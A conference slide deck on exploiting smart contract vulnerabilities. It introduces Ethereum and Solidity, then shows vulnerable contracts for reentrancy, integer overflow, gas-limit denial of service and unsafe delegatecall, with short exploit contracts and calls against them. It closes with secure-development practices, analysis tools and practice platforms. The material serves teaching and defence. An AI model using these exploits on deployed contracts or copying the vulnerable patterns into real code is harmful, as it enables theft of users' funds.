



# Exploiting Smart Contract Vulnerabilities

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## About me

○

- Lead blockchain engineer at OriginTrail
  - Decentralized Knowledge Graph
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- Coach of Serbian national cybersecurity team for ECSC
- Member of Cybersecurity Network Foundation (CyberHero)
  - Serbian Cybersecurity Challenge
- You maybe know me from: LiBRE!, DESCON, PSSOH, HKLBGD...
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# Smart contracts

## 1 Introduction

- "A smart contract is a computerized transaction protocol that executes the terms of a contract." - Nick Szabo (1994)
- Blockchain - a distributed ledger with growing lists of records (blocks) that are securely linked together via cryptographic hashes.
- Smart contract - program stored on a blockchain that run when predetermined conditions are met.
- Characteristics:
  - Automatic execution
  - Unstoppable
  - Immutable
  - Secure



# Ethereum & EVM

## 1 Introduction

- Ethereum
  - Ether
  - 44 millions smart contracts
- Ethereum Virtual Machine (EVM)
  - quasi-Turing-complete state machine
- Programming languages
  - Solidity
  - Vyper



# Code example

## 1 Introduction

```
pragma solidity ^0.8.10;

contract SimpleStorage {
    uint storedData;


    function setData(uint x) public {
        storedData = x;
    }

    function getData() public view returns (uint) {
        return storedData;
    }
}
```



# Creation and execution of smart contracts


## 1 Introduction





# State machine

## 1 Introduction







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## 2 Vulnerabilities

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# Vulnerabilities in smart contracts

## 2 Vulnerabilities

- Most smart contracts deal with financial assets
- Approximately \$300 billion stored in smart contracts
- In 2021. stolen \$1.3 billion, and in 2022 \$ 3.8 billions stolen
- We group the vulnerabilities into three classes, according to the level where they are introduced:
  - Solidity
  - EVM
  - Blockchain



# OWASP Top 10

## 2 Vulnerabilities

1. Reentrancy
2. Integer Overflow and Underflow
3. Timestamp Dependence
4. Access Control Vulnerabilities
5. Front-running Attacks
6. Denial of Service (DoS) Attacks
7. Logic Errors
8. Insecure Randomness
9. Gas Limit Vulnerabilities
10. Unchecked External Calls



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# Code vulnerable to reentrancy

## 3 Exploitation

- A reentrancy attack happens when a function is externally invoked during its execution, allowing it to be run multiple times in a single transaction.

```
contract Reentrancy {  
    mapping(address => uint) public balance;  
  
    function deposit() public payable {  
        balance[msg.sender] += msg.value;  
    }  
  
    function withdraw() public payable {  
        require(balance[msg.sender] >= msg.value);  
        payable(msg.sender).transfer(msg.value);  
        balance[msg.sender] -= msg.value;  
    }  
}
```



# Fallback functions

## 3 Exploitation

- Fallback is a special function that is executed either when:
  - a function that does not exist is called or
  - Ether is sent directly to a contract but `receive()` does not exist or `msg.data` is not empty


```
fallback() external payable {  
    emit Log("fallback");  
}
```

```
receive() external payable {  
    emit Log("receive");  
}
```



# Reentrancy illustration

## 3 Exploitation





# Integer Overflow and Underflow

## 3 Exploitation

```
uint8 num_of_loans = 255;  
num_of_loans += 1;
```

- Only in Solidity < 0.8
- Use to:
  - Minting an excessive amount of tokens
  - Bypass time locker
- Leads to hyperinflation of token





# Overflow in practice - batchTransfer

## 3 Exploitation

```
function batchTransfer(address[] memory _receivers, uint256 _value) {  
    uint cnt = _receivers.length;  
    uint256 amount = uint256(cnt) * _value;  
  
    require(cnt > 0 && cnt <= 20);  
    require(_value > 0 && balances[msg.sender] >= amount);  
  
    balances[msg.sender] = balances[msg.sender] - amount;  
  
    for (uint i = 0; i < cnt; i++) {  
        balances[_receivers[i]] = balances[_receivers[i]] + _value;  
        transfer(msg.sender, _receivers[i], _value);  
    }  
}
```



# Exploiting integer overflow in batchTransfer

## 3 Exploitation

```
address[] memory receivers = new address[] (2);  
receivers[0] = 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db;  
receivers[1] = 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB;  
uint256 amount = (type(uint).max)/2 + 1;  
  
bool success = TokenAddress.batchTransfer(receivers, amount);
```



# Denial of Service

## 3 Exploitation

- Smart contracts can be taken offline forever
- Other vulnerabilities can lead to denial of service:
  - Abusing access control
  - Gas limit vulnerabilities
  - Logic errors



# Abusing access control

3 Exploitation

## anyone can kill your contract #6995



devops199 opened this issue 2 days ago · 12 comments



devops199 commented 2 days ago • edited ▼

I accidentally killed it.

<https://etherscan.io/address/0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4>



# DoS with Block Gas Limit

## 3 Exploitation

```
address[] private refundAddresses;  
mapping (address => uint) public refunds;  
  
function refundAll() public {  
    for(uint x; x < refundAddresses.length; x++) {  
        require(refundAddresses[x].send(refunds[refundAddresses[x]]));  
    }  
}
```



# King of Ether

## 3 Exploitation

```
address public king;
uint public balance;

function claimThrone() external payable {
    require(msg.value > balance,
        "Need to pay more to become the king");

    (bool sent, ) = king.call{value: balance}("");
    require(sent, "Failed to send Ether");

    balance = msg.value;
    king = msg.sender;
}
```



# Bypassing check is smart contract

## 3 Exploitation

```
function isContract(address account) public view returns (bool) {  
    uint size;  
    assembly {  
        size := extcodesize(account)  
    }  
    return size > 0;  
}
```



# Exploit king of ether

## 3 Exploitation

```
contract Exploit {  
    KingOfEtherInterface kingOfEtherAddress;  
  
    constructor(KingOfEtherInterface _kingOfEther) payable {  
        kingOfEtherAddress = KingOfEtherInterface(_kingOfEther);  
        kingOfEtherAddress.claimThrone{value: msg.value}();  
    }  
}
```






# Wrong usage of delegatecall

## 3 Exploitation

- Delegatecall preserves context (storage, caller, etc...)
- Storage layout must be the same for the contract calling delegatecall and the contract getting called





# Library

## 3 Exploitation

```
contract Lib {  
    uint public someNumber;  
  
    function doSomething(uint _num) public {  
        someNumber = _num;  
    }  
}
```



# Code with vulnerable delegatecall

## 3 Exploitation

```
contract VulnerableSC {  
    address public lib;  
    address public owner;  
    uint public someNumber;  
  
    constructor(address _lib) {  
        lib = _lib;  
        owner = msg.sender;  
    }  
    function doSomething(uint _num) public {  
        lib.delegatecall(  
            abi.encodeWithSignature("doSomething(uint256)", _num)  
        );  
    }  
}
```



# Exploit delegatecall

## 3 Exploitation

```
contract Exploit {  
    address public lib;  
    address public owner;  
    uint public someNumber;  
  
    function attack() public {  
        // override address of lib  
        hackMe.doSomething(uint(uint160(address(this))));  
        hackMe.doSomething(1);  
    }  
    function doSomething(uint _num) public {  
        owner = msg.sender;  
    }  
}
```



## Rest of OWASP Top 10

### 3 Exploitation

- Unchecked external calls



## Rest of OWASP Top 10

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- Unchecked external calls
- Front-running attacks



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## Rest of OWASP Top 10

### 3 Exploitation

- Unchecked external calls
- Front-running attacks
- Insecure randomness
- Timestamp dependence





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# Good development practices

## 4 Secure smart contract development

- Use Checks-Effects-Interactions pattern
- Use pull over push pattern
- Implement circuit breakers
- Use formal verification
- Use well known libraries like the ones from OpenZeppelin
- Limit the maximum number of Eth that contract can accept (if possible)
- Don't forget that all data is public on blockchain
- Do not use kill and selfdestruct



# Smart contract security tools

## 4 Secure smart contract development

- Slither - Static Analyzer for Solidity
- Mythril - Security analysis tool for EVM bytecode
- Manticore - Symbolic execution tool
- Oyente - An Analysis Tool for Smart Contracts
- Echidna - Ethereum smart contract fuzzer



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## Useful links

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- Solidity by Example
- Consensys - smart contracts best practices
- Decentralized Application Security Project
- Play:
  - Etherenaut
  - Secureum
  - Damn Vulnerable DeFi
  - Capture the Ether



# Thank you for listening

5 Final

- Any questions?
- Twitter: @NZT\_1A
- Github: NZT48

